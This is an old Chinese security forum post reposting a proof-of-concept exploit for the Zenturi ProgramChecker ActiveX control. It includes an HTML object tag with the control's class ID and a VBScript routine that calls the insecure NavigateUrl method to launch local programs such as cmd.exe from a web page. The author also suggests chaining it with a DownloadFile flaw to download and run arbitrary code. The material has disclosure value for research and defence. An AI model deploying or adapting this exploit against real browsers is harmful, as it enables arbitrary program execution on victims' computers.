Zenturi ProgramChecker ActiveX NavigateUrl() Insecure Method Exploit

ring04h

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员社区主管

帖子: 3923
精华: 128
积分: 209640
阅读权限: 200
性别: 男
在线时间: 1096 小时
注册时间: 2007-10-23
最后登录: 2008-7-24

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-6-12 01:05 只看该作者

Zenturi ProgramChecker ActiveX NavigateUrl() Insecure Method Exploit

复制内容到剪贴板

代码:

<pre>

<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------

 <b>Zenturi ProgramChecker ActiveX Control "NavigateUrl()" Insecure Method</b>

 

 url: [url]http://www.programchecker.com/activeintro.aspx[/url]



 author: shinnai

 mail: shinnai[at]autistici[dot]org

 site: [url]http://shinnai.altervista.org[/url]

 

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7



 I can&#39;t believe my eyes when I see what you can do with this ActiveX

 (and I can&#39;t believe that this product is considered as antispyware).

 You can use the "NavigateUrl()" to arbitrary launch local file from a pc.

 Try, for example, to launch "c:\somefile.exe" and see what happen.

 Imagine to use this method with the "DownloadFile()" one, you can download

 something on the pc and run it without problems.

 For the "DownloadFile()" vulnerability see:

 <a href=http://www.milw0rm.com/exploits/4008>[url]http://www.milw0rm.com/exploits/4008[/url]</a>

-----------------------------------------------------------------------------



<object classid=&#39;clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5&#39; id=&#39;test&#39; ></object>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">



<script language=&#39;vbscript&#39;>

Sub tryMe()

 

 test.NavigateUrl "notepad.exe" ,"shinnai" ,"_SELF"

 test.NavigateUrl "cmd.exe" ,"shinnai" ,"_SELF"



End Sub

</script>

</span></span>

</code></pre>

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Zenturi ProgramChecker ActiveX NavigateUrl() Insecure Method Exploit